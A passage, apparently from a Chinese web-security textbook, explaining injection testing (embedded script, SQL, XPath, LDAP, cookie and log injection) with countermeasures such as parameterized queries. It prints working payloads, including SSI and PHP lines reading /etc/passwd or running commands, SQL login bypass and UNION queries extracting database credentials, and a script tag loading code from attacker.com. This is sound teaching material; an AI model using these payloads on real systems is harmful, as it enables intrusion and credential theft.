嵌入脚本攻击缺乏跨站脚本那样的流行性，但是它们并不一定较少见。XSS攻击针对其他应用的用户，嵌入脚本攻击则针对应用本身。在这种情况下，恶意代码不是一对<script>标记，而是格式化标记。这包括SSI指令、ASP括号、PHP括号、SQL查询结构甚至HTML标记。攻击的目标是提交数据，当应用显示时，作为程序指令执行或者破坏HTML输出。程序执行使攻击者能够访问服务器变量如密码和Web文档根目录之外的文件。不言而喻，嵌入式脚本给应用带来重大的风险。如果嵌入脚本仅仅破坏HTML输出，那么攻击者可能看到不能正确执行的源代码。这仍然可能暴露敏感的应用数据。

执行测试分成几类。应用审计不要求复杂的测试或者恶意代码。如果注入的ASP date 函数返回当前日期，则应用的输入校验例程是不能胜任的。ASP代码非常危险，因为它能执行任意命令或者访问任意文件：

<%= date() %>

服务器端包含也允许命令执行和任意文件访问：

<!--#include virtual="global.asa" -->
<!--#include file="/etc/passwd" -->
<!--#exec cmd="/sbin/ifconfig -a" -->

嵌入式的Java和JSP也同样危险：

<% java.util.Date today = new java.util.Date(); out.println(today); %>

最后，我们不要忘记PHP：

<? print(Date("1 F d, Y")); ?>
<? Include '/etc/passwd' ?>
<? passthru("id");?>

如果这样的一个字符串确实有效，那么应用中就有某些严重的破坏。语言标记如<？或<%通常在用户输入之前处理。这并不意味着附加的%>不会破坏一个JSP文件，但是如果失败，不要太过失望。

更切实可行的测试是破坏表格和表单结构。如果应用根据用户输入创建自定义表格，那么一个虚假的</table>标记可能提早结束页面。这可能导致一半的页面显示正常的HTML输出，另一半显示原始的源代码。这种技术对于动态生成的表单有效。

Cookie和预定义首部

Web应用测试人员总是审核cookie内容。毕竟，cookie可能受到操纵，用于仿冒其他用户或者提升权限。应用必须读取cookie，因此，cookie同样是脚本攻击的有效试验台。实际上，许多应用解释专门用于你的浏览器的附加信息。HTTP 1.1规范定义标识Web浏览器的User-Agent首部。你通常在这个字符串里看到某种“Mozilla”形式。

应用程序使用User-Agent字符串来适应浏览器的怪癖（因为没有人喜欢遵循标准）。基于文本的浏览器甚至让你指定一个自定义字符串：

$ lynx -dump -useragent="<script>" \
> http://website/page2a.html?tw=tests
...output truncated...
Netscape running on a Mac might send one like this:
User Agent: Mozilla/4.5 (Macintosh; U; PPC)
And FYI, it appears that the browser you're currently using to view
this document sends this User Agent string:

这是什么？应用无法确定我们的自定义User-Agent字符串。如果我们查看源代码，就会发现这种情况的起因：

<BLOCKQUOTE>
<PRE>
<script>
</PRE>
</BLOCKQUOTE>

所以，我们的<script>标记还是被接受了。这是易受攻击的应用的最好例子。这里要指出的一点是输入验证影响应用接收的任何输入。

HTML注入对策

对脚本攻击的最重要防御是将所有尖括号转换成HTML编码的等价字符。左尖括号用&lt;表示，而右尖括号用&gt;表示。这确保尖括号始终以无害的形式存储和显示。Web浏览器绝不会执行&lt;script&gt;标记。

有些应用打算让用户指定某些HTML标记如bold、italics和underline。在这种情况下，使用正则表达式验证数据。这些检查应该是相容的，而不是互相排斥的。换句话说，它们应该只寻找可接受的标记，允许这些标记，并且对余下所有尖括号完成HTML编码。例如，不恰当地尝试捕捉<script>标记的正则表达式可能受骗：

<scr%69pt>
<<script>
<a href="javascript:commands..."></a>
<b+<script>
<scrscriptipt> (bypasses regular expressions that replace "script" with null)

在这个例子中，查出阳性（<cTypeface:Bold>存在）比排除阴性（<script>不存在）更容易。

更多关于XSS和载荷编码替代方法的信息，可以在RSnake杰出的XSS参考中找到：http://ha.ckers.org/xss.html。

6.4.4　边界检查

数字域的误用很有潜力。即使应用正确地限制数据为数字值，某些值仍然可能导致错误。边界检查是尝试极限值的简单技术。将UserID=19237换成UserID=0或者UserID=-1可能生成含有信息的错误或者奇怪的表现。上界也应该检查，一个字节的值不可能大于255，2个字节的值不可能大于65535。

1.http://www.victim.com/internal/CompanyList.asp?SortID=255Error:Your Search has timed out with too long of a list.

2.http://www.victim.com/internal/CompanyList.asp?SortID=256 Search Results

3.http://www.victim.com/internal/CompanyList.asp?SortID=0 Search Results

注意，将SortID设置为255不会返回成功的查询，但是例2中设置为256成功返回查询。当例3中SortID=0时，也发生了成功的查询。应用似乎预期一个8位的SortID值，这使得可接受范围在0~255之间——除了太长的255之外。因此，根据无符号8位值在255之后“回转”这一事实，我们可以有把握地假设256被翻译为0。因此，例2和例3中的请求在这种情况下是等价的，这使用户能够确定用于应用这个部分的数值的边界。

你（可能）不能从边界检查中获得命令执行或者任意文件访问。但是，它们生成的错误可能揭示关于应用或者服务器的有用信息。这种检查只需要少数几个数值：

·布尔型：任何表现真或者假的值（T/F、true/false、yes/no、0/1）。尝试两个值；然后尝试无意义的值。对接收字符的参数使用数字；对接收数字的参数使用字符。

·数字型：设置0和负值（0和-1最有效）。尝试各种范围的最大值，也就是，256、65536、4294967296，以及非常接近这些极限的值。

·字符串：测试长度极限。确定字符串变量如名称和地址是否接收标点符号。

6.4.5　操纵应用行为

有些应用可能有开发人员用于执行测试的特殊指令。最突出的指令之一是debug=1。将这条指令附加在GET或POST请求上可能返回关于变量、系统或者后端数据库连接的更多信息。成功的攻击可能要求debug、dbg和true、T或者1的组合。一些平台可能允许在URL上设置内部变量。其他攻击针对Web服务器。对于JRun 3.0和3.1以及Tomcat 3.2.3，插入%3f.jsp将返回目录列表。

搜索引擎

强大的百分号（%）常常在SQL或者搜索引擎中代表一个通配符。在搜索域中提交百分号可能返回整个数据库内容，或者生成一个带有信息的错误，如下例：

http://victim.com/users/search?FreeText=on&kw=on&ss=%

Exception in com.motive.web411.Search.processQuery(Compiled Code):

java.lang.StringIndexOutOfBoundsException:String index out of range:

3 at java.lang.String.substring(Compiled Code)at

javax.servlet.http.HttpUtils.parseName(Compiled Code)at

javax.servlet.http.HttpUtils.parseQueryString(Compiled Code)at

com.motive.mrun.MotiveServletRequest.parseParameters(Compiled Code)

at com.motive.mrun.MotiveServletRequest.getParameterValues(Compiled

Code)at com.motive.web411.MotiveServlet.getParamValue(Compiled Code)

at com.motive.web411.Search.processQuery(Compiled Code)at

com.motive.web411.Search.doGet(Compiled Code)at

javax.servlet.http.HttpServlet.service(Compiled Code)at

javax.servlet.http.HttpServlet.service(Compiled Code)at

com.motive.mrun.ServletRunner.RunServlet(Compiled Code)

SQL也使用下划线（_）表示单个字符通配符。采用LDAP后端的Web应用可能也暴露在基于星号的相似攻击之下，在LDAP协议中星号代表通配符。

6.4.6　SQL注入

针对应用后端数据库的一种非常流行的攻击是SQL注入。SQL注入是代码注入的一种方式。和一般使用JavaScript针对浏览器的XSS代码注入不同，SQL注入针对应用在后端数据库上执行的SQL语句。这种攻击包括将SQL注入到动态构建的查询，然后在后端数据库上运行。最常见的是，恶意的输入直接连接到应用代码中的SQL语句，但是也可以发生在存储过程中。通过注入SQL语法，语句的逻辑可以被修改以执行不同的操作。对用于查询数据库的用户输入域的快速测试是在该值的最后发送一个单引号。在SQL语法中，单引号限定字符串的开始或者结束。因此，当单引号注入到易受攻击的SQL语句中时，就有可能扰乱字符串定界符的配对，生成一个应用错误，这就表示潜在的SQL注入漏洞。

http://www.website.com/users.asp?id=alex'

如果这个请求生成一个错误，就是不正确处理引号的一个很好的征兆，应用可能容易遭到SQL注入攻击。另一种常见的对数字域的攻击是注入OR 1=1，这改变了WHERE条件语句的解释方式。测试示例如下：

http://www.website.com/userProfile.asp?id=1378 OR 1=1

仔细研究id等于1378以及1378 OR 1=1时应用表现的差异，能够指出SQL注入漏洞。

SQL注入漏洞可能在任何影响数据库查询的应用参数中找到。攻击点包括URL参数、POST数据和cookie值。识别SQL注入漏洞的最简单方法是在参数值中添加无效或者意外的字符，观察应用响应中的错误。这种基于语法的方法在应用不阻止来自数据库错误信息的时候最有效。在实现这种错误处理时（或者存在一些简单的输入校验），漏洞也可以通过测试应用行为校验SQL构成的语义技术来识别。

语法测试包括将带有扰乱数据库查询语法目的的字符插入参数，目标是找到一个数据库执行查询时产生错误的字符，然后通过应用传播并且从服务器响应中返回。我们从最常见的注入字符——单引号（'）开始。记住，单引号用于描述SQL语句中的字符串值。第一次SQL注入测试是这样的：

http://website/aspnuke/module/support/task/detail.asp?taskid=1'

服务器的响应，正如在浏览器中看到的那样，显示了一个数据库错误和应用试图提交给数据库的无效查询。查找接近图6-1中错误信息结尾处的WHERE tsk.TaskID=1'字符串可以看到注入字符结束的位置。

图6-1　详细的错误信息

现在我们来看看这种攻击成功的原理：字符串连接。许多Web应用中的查询都有由用户输入修改的子句。在前一个示例中，detail.asp文件使用taskid参数作为查询的一部分。

下面是源代码的一部分。看看带下划线的使用taskid的部分（为了可读性删除了一些代码行）：

sStat = "SELECT tsk.TaskID, tsk.Title, tsk.Comments" &_
...
"FROM tblTask tsk " &_
...
"WHERE tsk.TaskID = " & steForm("taskid") & " " &_
"AND tsk.Active <> 0 " &_
"AND tsk.Archive = 0"
Set rsArt = adoOpenRecordset(sStat)

使用字符串连接来创建查询是SQL注入的根源之一。当参数值被直接放入字符串中时，攻击者可以轻松地注入恶意输入修改查询表现。所以并非创建一个如下的有效查询所用的数字参数，

SELECT tsk.TaskID, tsk.Title, tsk.Comments FROM tblTask tsk
WHERE tsk.TaskID = 1 AND tsk.Active <> 0 AND tsk.Archive = 0

攻击者引入一个不配对的引号字符扰乱语法：

SELECT tsk.TaskID, tsk.Title, tsk.Comments FROM tblTask tsk
WHERE tsk.TaskID = 1' AND tsk.Active <> 0 AND tsk.Archive = 0

不正确的语法造成了错误，这通常传回用户的浏览器。常见的错误信息如：

[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax...

插入单引号和生成一个错误不会泄露密码或者使攻击者绕过访问限制，但是这常常是个先决条件。当然，这种技术取决于应用返回某种指出数据库错误发生的消息。表6-1列出数据库生成的一些常见错误字符串。这个列表不是完整的，但是应该能给你提供一些错误信息的概念。在许多情况下，实际的SQL语句和错误信息相伴。还要注意，这些错误在不同数据库平台和开发语言中都有所不同。

表6-1　常见数据库错误信息

最终，有些错误在语句构建和查询发送到数据库之前发生在应用层。表6-2列出一些这种错误信息。区分错误发生的位置很重要。产生解析错误（例如试图将字符串转换成整数）和重写数据库查询的攻击对应用的威胁有很大的不同。

表6-2　常见解析错误

任何用户可以修改的动态数据都代表着潜在的攻击方向。记住，cookie值和其他参数一样应该测试。图6-2显示了非常旧的phpBB版本所用的cookie附加单引号之后出现的错误。

图6-2　由于意外的cookie值而出现的详细错误信息

现在我们已经确定了寻找SQL注入漏洞的方法，应该确定这个漏洞对应用安全的影响了。在cookie值中插入单引号产生错误或者用MOD 函数替换POST参数是一回事，能够从数据库中读取任意信息又是另一回事。

数据库存储信息，首先想到针对数据的攻击也就不足为奇了。但是，如果我们能够用SQL注入改变查询的逻辑，那么就可能改变应用中的处理流程。登录提示是一个很好的例子。数据库驱动的应用可能使用类似于下例的方法校验用户名和密码：

SELECT COUNT(ID) FROM UserTable WHERE UserId='+ strUserID +
' AND Password=' + strPassword + '

如果用户提供了与UserTable中的记录匹配的UserId和Password参数，COUNT（ID）将会等于1。这样，应用将允许用户通过登录页面。如果COUNT（ID）为NULL或者0，则意味着UserId和Password不正确，不允许用户访问应用。

现在，想象一下如果在用户名参数上没有进行输入校验。我们可以以确保SELECT语句成功的方式重写查询——只需要一个用户名！下面是修改后的查询：

SELECT COUNT(ID) FROM UserTable WHERE UserId='mike'-- ' AND Password=''

注意，用户名包括一个单引号和一个注释定界符。单引号正确地描述了UserId（mike），双短线后面跟上一个空格代表注释，这意味着符号右边的所有内容都被忽略。用户名应该以如下的形式输入到登录表单：

mike'--%20

这样，我们已经使用SQL注入改变了应用的处理流程，而不是试图读取任意数据。这种攻击对登录页面可能有效，使我们能够查看用户的简档信息或者绕过访问控制。表6-3列出了其他一些可以尝试的作为参数值部分的SQL构造。这些都是原始的载荷；对空格和其他字符要进行编码，这样它们的意义在HTTP请求中不会被改变。例如，空格可以用%20或者加号（+）编码。

表6-3　修改查询的字符

因为数据库包含了应用的核心信息，它们代表着引人注目的目标。希望捕捉用户名和密码的攻击者可能尝试对一些应用的用户进行仿冒和社会工程攻击。另一方面，攻击者可以尝试从数据库获得每个人的凭据。

子查询

子查询能够读取范围从布尔型的指示（记录是否存在或者等于某个值）到任意数据（完整的记录）的信息。子查询也是用于基于语义的漏洞识别的一种较好的技术。正确设计的子查询使攻击者能够推断请求是否成功。最简单的子查询使用逻辑AND操作符强制查询为假或者为真：

AND 1=1
AND 1=0

现在，重要的是子查询可以被注入，使得查询的原始语法不会遭到破坏。注入到一个简单的查询中很容易：

SELECT price FROM Products WHERE ProductId=5436 AND 1=1

更复杂的查询具有多级括号和JOIN子句，可能不容易用基本的方法注入。在这种情况下，我们改变方法，关注于创建能由之推断某些信息的子查询。例如，下面是对查询示例的简单改写：

SELECT price FROM Products WHERE ProductId=(SELECT 5436)

我们可以使用（SELECT foo）子查询技术并将其扩展为更有用的测试，避免大部分扰乱语法的问题。我们不常常有对原始查询语法的访问权，但是子查询的语法如SELECT foo是我们制作的。在这种情况下，我们不需要担心左括号和右括号或者其他字符的数量匹配问题。当子查询用作一个值时，它的内容先于查询的其余部分解析。在下面的例子中，我们尝试计算默认的mysql.user表中名为“root”的用户的数量。如果只有一项，那么我们将会看到和使用值5436（5435+1=5436）时相同的响应。

SELECT price FROM Products WHERE ProductId=(SELECT 5435+(SELECT
COUNT(user) FROM mysql.user WHERE user=0x726f6f74))

这种技术可以用于任何数据库和任何特定的SELECT语句。基本上，我们只制作返回数字（或者真/假）值的语句。

SELECT price FROM Products WHERE ProductId=(SELECT 5435+(SELECT
COUNT(*) FROM SomeTable WHERE column=value))

子查询还可以进一步扩展，这样就不必限于推断SELECT语句的成功或者失败。它们可以用于枚举数值，但是较慢而不直接。例如，你可以应用按位枚举，从自定义的SELECT子查询中提取任何列的值。这是基于能够在注入AND 1=1和AND 1=0时区分服务器的不同响应。

按位枚举基于对一个数值的每一位确定该位置位（等价于AND 1=1）或者未置位（等价于AND 1=0）的测试。例如，下面是对于字符a（ASCII 0x61）的按位比较。这需要对应用进行8次请求以确定该值（实际上，ASCII文本只使用7位，但是我们为了完整性而引用全部8位）。

0x61 & 1 = 1
0x61 & 2 = 0
0x61 & 4 = 0
0x61 & 8 = 0
0x61 & 16 = 0
0x61 & 32 = 32
0x61 & 64 = 64
0x61 & 128 = 0
0x61 = 01100001 (binary)

SQL注入子查询的比较模板在下面的伪代码示例中展示。需要两个循环：一个用于枚举字符串的每个字节（i），另一个用于枚举字节中的每个位（n）：

for i = 1 to length(column result):
for p = 0 to 7:
n = 2**p
AND n IN (SELECT CONVERT(INT,SUBSTRING(column,i,1)) & n FROM clause

这会创建如下的一系列子查询：

AND 1 IN (SELECT CONVERT(INT,SUBSTRING(column,i,1)) & 1 FROM clause
AND 2 IN (SELECT CONVERT(INT,SUBSTRING(column,i,1)) & 2 FROM clause
AND 4 IN (SELECT CONVERT(INT,SUBSTRING(column,i,1)) & 4 FROM clause
...
AND 128 IN (SELECT CONVERT(INT,SUBSTRING(column,i,1)) & 128 FROM clause

最后是一个从Microsoft SQL Server数据库枚举sa用户密码的查询（你需要在48个位置（i）上循环8次（n），一共发出384个请求）。Sa用户是Microsoft SQL Server数据库内建的管理员，与Unix root、Windows Administrator账户类似。所以如果sa用户密码可以通过Web应用提取，那将是很危险的。每当发回的响应匹配注入的AND 1=1，该位为1：

AND n IN
(
SELECT CONVERT(INT,SUBSTRING(password,i,1)) & n
FROM master.dbo.sysxlogins
WHERE name LIKE 0x73006100
)

子查询利用复杂的SQL构造推断SELECT语句的值。它们仅限于内部数据访问控制和可以包含在载荷中的字符。

UNION

SQL UNION操作符合并两个不同SELECT语句的结果集。这使开发人员能够使用一个查询从不同的表里读取数据，就像单个记录一样。下面是一个返回具有3列的记录的UNION操作符示例：

SELECT c1,c2,c3 FROM table1 WHERE foo=bar UNION
SELECT d1,d2,d3 FROM table2 WHERE this=that

UNION操作符的主要限制是每个记录集的列数必须一样。这不是特别难以克服的事情；只需要一些耐心和暴力方法。

第2个SELECT语句的列太少引起的缺列很容易处理。任何SELECT语句都可以接受重复的列名或者列值。例如，下面都是返回4列的有效查询：

SELECT c,c,c,c FROM table1
SELECT c,1,1,1 FROM table1
SELECT c,NULL,NULL,NULL FROM table1

第2个SELECT语句的列太多，也同样容易处理。在这种情况下，使用CONCAT 函数将所有结果连接到一列中：

SELECT CONCAT(a,b,c,d,e) FROM table1

我们来看看UNION操作符如何用在SQL注入攻击中。从理解UNION的工作原理到将其用到Web应用只是小小的一步。首先，验证一个参数容易遭到SQL注入攻击。通过在数字型参数之后附加一个字母进行这项工作，造成图6-3中的错误。注意，这个错误提供了原始查询的细节——最特别的是原始SELECT中的列数12。

图6-3　泄露数据库域的应用错误

我们还可以使用比较以下两个URL结果的“盲测”技术来测试这种漏洞：

http://website/freznoshop-1.4.1/product_details.php?id=43

http://website/freznoshop-1.4.1/product_details.php?id=MOD（43，44）

下面这个URL也可能生成错误（注意MOD 函数的无效用法）：

http://website/freznoshop-1.4.1/product_details.php?id=MOD（43，a）

在任何情况下，下一步都是使用UNION操作符从数据库读取一些数据。第一步是匹配列数。我们用两个不同的请求验证列数（12）。我们将继续使用http://website/freznoshop-1.4.1/URL，在包含了UNION语句时整个URL有些冗长。我们预计需要12列，但是提交一个有11列的请求来论证UNION列集不匹配时发生的错误：

id=43+UNION+SELECT+1,1,1,1,1,1,1,1,1,1,1 /*

图6-4展示了这个id值提交给应用时返回的错误。注意，错误信息明确地指出了不匹配的列数。

id=43+UNION+SELECT+1,1,1,1,1,1,1,1,1,1,1 ,1/*

图6-4　使用列占位符建立有效的UNION查询

如果我们之后修改id参数中UNION右边的部分为12列，查询在语法上正确，就会接收到一个与id=43相关的页面。图6-5显示了没有出现错误的页面。

图6-5　成功的UNION查询显示用户id

当然，使用UNION操作符的真正原因是要读取任意的数据。到现在，我们仅仅发现了漏洞并匹配了列数。因为我们的应用示例使用MySQL数据库，我们将读取与MySQL相关的用户凭据。

MySQL存储数据库相关账户的风格与Microsoft SQL Server不同，但是我们现在可以访问默认的表名和列。注意图6-6中的响应。在表中有一个读做1.:root的条目——这是UNION查询返回的用户名（root）。以下是提交到id参数的值：

id=43+UNION+SELECT+1,cast(user+AS+CHAR(30)),1,1,1,1,1,1,1,1,1,1+FROM+
mysql.user/*

当然，获得前一个id值还有几个必要的中间步骤。初始测试从下列条目之一开始：

id=43'
id=43/*

然后转向使用UNION语句从任意表中提取数据。在这个例子中，在UNION语句右边的12个列之上创建一个匹配左边列数的SELECT语句是必要的。这个数字一般要通过反复试验得到，例如，尝试一列，然后两列、三列，以此类推。最后，我们发现第2列的结果将在Web应用中显示，这就是其他列使用1作为占位符的原因。

图6-6　成功的UNION查询揭露了用户名

提示　CAST 函数对于将用于用户名的MySQL内部存储类型（utf8_bin）转换为应用预期的存储类型（latin1_Swedish_ci）来说是必要的。CAST 函数是SQL 2003标准的一部分，得到所有流行数据库的支持。根据平台的不同，它可能是必要的，也可能不必要。

和许多SQL注入技术类似，UNION操作符在参数的值未包含在单引号中（像数字型参数），或者单引号不能作为载荷一部分的时候效果最好。在可以使用UNION时，方法很简单：

·识别漏洞。

·匹配原SELECT查询中的列数。

·创建自定义SELECT查询。

枚举

所有数据库都有一个与其安装和用户关联的信息集合。即使无法确定应用相关数据的位置，仍然可以列举多个表和其他信息，确定版本、补丁和用户。

SQL注入是针对数据存储进行的最有趣的攻击，但并不是唯一的。其他攻击也可以利用目录或者表中不恰当的安全策略。毕竟，如果你可以通过将URL参数从655321改成24601访问其他人的个人简档，那么就不需要注入恶意的字符或者尝试替代的语法。

依赖数据库访问的Web应用的最大挑战之一是如何安全地存储凭据。在许多平台上，凭据被存储在Web文档根目录之外的一个文本文件中。但是，在某些情况下，凭据可能硬编码于Web文档根目录中的一个应用源文件中。在后一种情况下，用户名和密码的机密性取决于预防源代码未授权访问。

SQL注入对策

应用的数据库包含关于应用及其用户的重要信息。对策应该包括了解可能对数据库进行的攻击类型，以及在特定防御无法胜任时尽可能减小入侵的影响。

对于Web应用来说，过滤用户提供的数据可能是最需要重申的措施。恰当的输入校验不仅保护应用免遭SQL注入攻击，而且能抵御其他参数操纵攻击。以数据库值为目标的输入校验可能很难。例如，单引号字符的危险性已经得到证明，但是如何处理像O払erry这样的名称，或者包含缩略词的句子？

数据库的绑定值所用的校验例程与其他值的过滤器没有很大的不同。下面是要记住的一些要点：

·转义字符：单引号（撇号）在SQL语句中有特殊的含义。除非你使用能够百分之百地避免SQL语句中危险字符误解的预处理语句或者参数化查询，否则要确保对这样的字符（例如，\'）进行转义，避免它们干扰查询。如果你依赖于字符串连接创建查询，就要始终这么做。

·拒绝字符：你可以剥离已知的恶意字符，或者对预期数据来说不合适的字符。例如，电子邮件地址只包含特定标点符号的子集；它不需要括号。

·适当的数据类型：只要有可能，就将整数值分配为整数数据类型，对所有用户提供数据都这么做。攻击者可能仍然制造一个错误，但是错误将发生在为参数赋值时，而不是在数据库中。

最强大的保护是由正确使用的参数化查询（也称预处理语句）提供的。下面的代码示例说明了在应用中实施参数化查询的一种方法：

SqlConnection conn = new SqlConnection(connectionString);
conn.Open();
string s = "SELECT email, passwd, login_id, full_name " +
"FROM members WHERE email = @email";
SqlCommand cmd = new SqlCommand(s);
cmd.Parameters.Add("@email", email);
SqlDataReader reader = cmd.ExecuteReader();

除了更安全外，参数化的代码还提供了性能上的好处。包括较少的字符串连接、不需要人工字符串转义，根据正在使用的DBMS，查询可能进行散列计算，并且存储起来供预编译执行。

对Web应用最具毁灭性的攻击之一是成功的SQL注入攻击。这种攻击直捣应用操纵的数据来源。如果可以侵入数据库，攻击者可能就不需要尝试暴力攻击、社会工程或者其他获得未授权访问的技术。理解这些漏洞的识别方法非常重要。

此外，对一种类型的攻击有效的对策对另一种攻击可能无效。最终，最好的防御是在应用中使用绑定参数的参数化语句或者预处理语句，尽可能地依赖数据库中的存储过程。

6.4.7　XPATH注入

除了在RDBMS中存储数据以外，Web应用还常常以XML格式存储数据。XPATH是从XML文档中解析和提取数据的查询语言，通过在XPATH查询中注入恶意输入，我们可以修改查询的逻辑。这种攻击被称做XPATH注入。下面的例子演示了使用XPATH查询读取XML文档中特定元素文本的方法：

假设XML文档为：

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<admins>
<user>admin</user>
<pass>admin123</pass>
</admins>
<basic>
<user>guest</user>
<pass>guest123</pass>
</basic>
</users>

使用这个文档，执行以下代码：

Set xmlDoc=CreateObject("Microsoft.XMLDOM")
xmlDoc.async="false"
xmlDoc.load("users.xml")
xmlobject.selectNodes("/users/admins/pass/text()")

/users/admins/pass的查询结果是admin123。

了解了这些，攻击者可以采用无效的输入滥用XPATH查询。和SQL注入不同，使用XPATH时无法注释掉查询的一部分。因此，攻击者必须将附加的逻辑注入到查询中，导致它在可能返回假的时候返回真，或者返回附加的数据。用XPATH注入绕过验证的一个危险的例子基于如下的代码：

String(//users/admins/[user/text()=' " + txtUser.Text + " '
and pass/text()=' "+ txtPass.Text +" '])

如果输入是admin'or 1=1 or'a'='b'，查询将如下所示：

String(//users/admins/[user/text()='admin' or 1=1 or 'a'='b'
and pass/text()=''])

表达式

user='admin' or 1=1 or 'a'='b' and pass/text()=' '

可以表示为

(A OR B) OR (C AND D)

逻辑操作符AND的优先级高于OR，所以如果A或者B为真，表达式不管（C AND D）返回的是什么都为真。如果查询的用户输入B是1=1（永远为真），就使得（A OR B）的结果为真。因此查询返回真，攻击者可以登录——用XPATH注入绕过验证机制。

XPath注入对策

和SQL注入类似，XPath注入可以采用适当的输入校验和参数化查询预防。不管是什么应用、环境或者语言，你都应该遵循如下的最佳实践：

·将所有输入都看做不可信任的，尤其是用户的输入，甚至来自于你的数据库或者支持基础架构的输入。

·校验的不仅是数据类型，还有格式、长度、范围和类型（例如，简单的正则表达式如（/^"*^';&<>()/）能够找到可疑的特殊字符）。

·在客户端和服务器都校验数据，因为客户校验很容易回避。

·在发行应用之前针对已知的威胁进行测试。

和数据库服务器不同，XPath不支持参数化的概念。但是，参数化可以用XQuery之类的API模拟。XPath查询可以存储在外部文件中进行参数化：

declare variable $user as xs:string external;
declare variable $pass as xs:string external;//users/user[@user=
$user and @password=$pass]

XQuery代码如下所示：

Document doc = new Builder().build("users.xml");
XQuery xquery = new XQueryFactory().createXQuery(new File("dologin.xq"));
Map vars = new HashMap();
vars.put("user", "admin");
vars.put("pass", "admin123");
Nodes results = xquery.execute(doc, null, vars).toNodes();
for (int i=0; i < results.size(); i++) {
    System.out.println(results.get(i).toXML());
}

XQuery将填充如下XPath代码：

"//users/admins/[user/text()=' " + user + " ' and pass/text()=' "+ pass +" ']"

这种技术提供了稳固的保护，但是没有内建于XPath规范。形成查询时没有直接使用用户输入，而是计算XML文档中的元素值，如果与参数化值不匹配，查询就会失败。通过容易遭到XPath注入攻击的应用，有可能提取整个XML文档。随着Ajax之类的技术和FLEX或者Silverlight等RIA平台的普及，以及来自Google等组织的XML服务的采用，这些技术和服务都高度依赖XML进行从后端服务通信到数据存续的所有工作，我们比以往都更需要保持对这些方法造成的威胁和风险的警惕。

6.4.8　LDAP注入

应该只接受校验后的应用输入的另一种数据存储是组织的X.500目录服务，这种服务一般使用轻量目录访问协议（LDAP）查询。允许LDAP查询的结构中存在未校验的输入，组织就会暴露在所谓的LDAP注入攻击面前。这种威胁使攻击者能够从LDAP树中提取重要的公司数据，如用户账户信息。操纵用于查询目录服务的过滤器，LDAP注入攻击能够对基于LDAP的单点登录环境进行破坏。考虑一个网站，允许你查询目录服务中的员工头衔，URL为：

http://www.megacorp.com/employee.asp?user=jwren

假定本页面的后台代码不校验输入：

<%@ Language=VBScript %>
<%
Dim userName
Dim filter
Dim ldapObj
userName = Request.QueryString("user")
filter = "(uid=" + CStr(userName) + ")"
Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")
ldapObj.ServerName = LDAP_SERVER
ldapObj.DN = "ou=people,dc=megacorp,dc=com"
ldapObj.SearchFilter = filter
ldapObj.Search
While ldapObj.NextResult = 1
Response.Write("<p>")
Response.Write("<cTypeface:Bold><u>User information for: " +
ldapObj.AttrValue(0) + "</u></b><br>")
For i = 0 To ldapObj.AttrCount -1
Response.Write("<cTypeface:Bold>" + ldapObj.AttrType(i) +"</b>: " +
ldapObj.AttrValue(i) + "<br>" )
Next
Response.Write("</p>")
Wend
%>

想象一下恶意用户发送请求到如下URL的场景：

http://www.megacorp.com/employee.asp?user=*

这个应用将在对用户参数中包含*的请求响应中显示所有用户信息。输入*用户名的另一个例子可能导致应用返回密码过期的错误信息。输入（），整个LDAP查询将会在错误信息中显示出来：

(&(objectClass=User)(objectCategory=Person)(SamAccountName=
<username... this is where an attacker could start injecting new filters>)

得到这些泄露的信息，攻击者可以了解如何在查询上连接过滤器。但是，由于AND查询，数据提取可能只能通过LDAP盲（Blind）注入攻击。更多关于LDAP盲注入攻击的信息可在本章结尾的“参考与延伸阅读”小节中找到。

LDAP目录服务是管理组织的用户数据的关键储存库。如果发生了侵入，个人可识别信息几乎肯定会暴露，并且可能导致成功的验证旁路攻击。一定要对与LDAP目录服务交互的所有用户输入进行审核。

6.4.9　自定义参数注入

当应用在参数中采用自定义分隔符或者专有格式时，它们仍然是注入攻击的目标。攻击者只需要确定篡改参数的字符模式或者适当的顺序就行了。在存储用户访问特权信息时采用自定义参数的应用暴露在这类参数注入攻击之下，后果是权限的提升。这种攻击的实例可以在存储如下用户数据序列的cookie中找到：

TOKEN^2|^399203|^2106|^2108|^Admin,0|400,Jessica^202|13197^203|15216

在这个例子中，^字符表示参数的开始，|字符代表结束。尽管这个应用在后端有解析这些参数的定制代码，但是攻击者能够发送自己的参数值来改变应用的行为。在前一个例子中，攻击者可以尝试将对应的Admin值从0改成1，企图获得管理员权限，当解析代码如下时这种企图可能成功：

int admin = 0;
string token = Request.Cookie["TOKEN"];
' Custom cookie parsing logic
if (admin = 1){
' Set user role to administrator
}

篡改TOKEN cookie中的自定义参数之后，恶意的用户将对应用行为进行差异分析，确定篡改是否有效。攻击者可以尝试将名从Jessica改成另一个名，确定是否能改变显示的欢迎信息。例如：

Welcome, Jessica

可换成

Welcome, <script src="http://attacker.com/malcode.js">

自定义参数注入也可能被用来启动对应用的其他注入攻击。同样，必须对整个应用中的自定义解析代码应用合适的输入校验规则。确保校验规则应用到合适的格式、类型、长度和范围检查。否则，应用可能成为意外的自定义参数注入的受害者，这种风险的大小取决于自定义解析器处理的数据的敏感性。

6.4.10　日志注入

如果应用日志在输入到达日志之前未作净化和校验，开发人员就必须考虑读写应用日志的风险了。容易遭受注入的日志可能已经被恶意用户侵入，用误导性的项目覆盖成功攻击的痕迹。这也被称做抵赖攻击（repudiation attack）。不能安全地记录用户操作的应用可能遇到用户否认操作的情况。想象一下以如下格式记录请求的应用：

Date, Time, Username, ID, Source IP, Request

这些参数直接来自请求，没有输入校验：

Cookie: PHPSESSID=pltmp1obqfig09bs9gfeersju3; username=sdr; id=Justin

攻击者可以修改id参数，用错误的项目填充日志：

Cookie: PHPSESSID=pltmp1obqfig09bs9gfeersju3; username=sdr; id=\r\n
[FAKE ENTRY]

在某些平台上，如果日志不能正确地避开空（Null）字节，应该记录下来的字符串剩余部分可能没有记录。例如：

Cookie: PHPSESSID=pltmp1obqfig09bs9gfeersju3; username=sdr; id=%00

可能造成记录项目在id域上停止：

Date, Time, Username, ...

